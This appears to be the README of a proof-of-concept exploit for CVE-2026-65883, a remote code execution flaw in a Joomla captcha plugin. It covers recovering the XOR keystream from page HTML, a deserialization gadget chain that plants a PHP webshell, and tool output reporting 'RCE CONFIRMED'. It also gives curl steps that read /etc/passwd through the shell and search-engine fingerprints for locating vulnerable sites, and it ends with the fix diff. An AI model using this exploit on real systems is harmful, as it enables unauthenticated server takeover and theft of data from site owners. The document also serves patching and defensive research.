
Aimy Captcha-Less Form Guard Joomla Component PHP Object Injection RCE. clfgd XOR keystream recovery + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
Unauthenticated PHP Object Injection in Aimy Captcha-Less Form Guard for Joomla. The onCheckAnswer() method base64-decodes the attacker-controlled clfgd POST field, runs it through a repeating-key XOR, and passes the result directly to unserialize() — with .
| Field | Detail |
|---|---|
| CVE | CVE-2026-65883 |
| Product | Aimy Captcha-Less Form Guard (Joomla plugin) |
| CVSS 4.0 | 10.0 (Critical) |
| Type | CWE-502 — Deserialization of Untrusted Data |
| Affected | 18.0 — 20.0 |
| Patched | 20.1 (July 29, 2026) |
| Discovered | Valentin Lobstein (Chocapikk) / VulnCheck — July 26, 2026 |
| Status | Version |
|---|---|
| Vulnerable | 18.0 — 20.0 |
| Patched | 20.1 (July 29, 2026) |
The onCheckAnswer() method in plg_captcha_aimycaptchalessformguard passes attacker-controlled input directly to unserialize():
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
The XOR "encryption" is a Vigenère cipher with a per-session key — no authentication, only obfuscation.
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
The plugin renders both ciphertext and plaintext in the same HTML response:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
Since both trap_ids (extractable from the <span id="..._mark"> and honeypot input) and the ciphertext are in the HTML, XOR-ing them recovers ~94 bytes of the 231-byte keystream.
clfgd ciphertext + trap_ids + timing → recover 94 bytes of keystreamFormattedtextLogger serialized object so structural bytes fall on known keystream positionsclfgd → unserialize() → __destruct() → formatLine() → writes PHP webshell/random.php?c=id → RCE as www-data$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode() cannot instantiate PHP objects — the POP gadget chain is severed.
This tool is for educational and authorized security testing only. Use against systems you own or have explicit permission to test.
| Resource | Link |
|---|---|
| VulnCheck Blog | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| IONIX Threat Center | ionix.io/threat-center/cve-2026-65883 |
| CVE Record | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |
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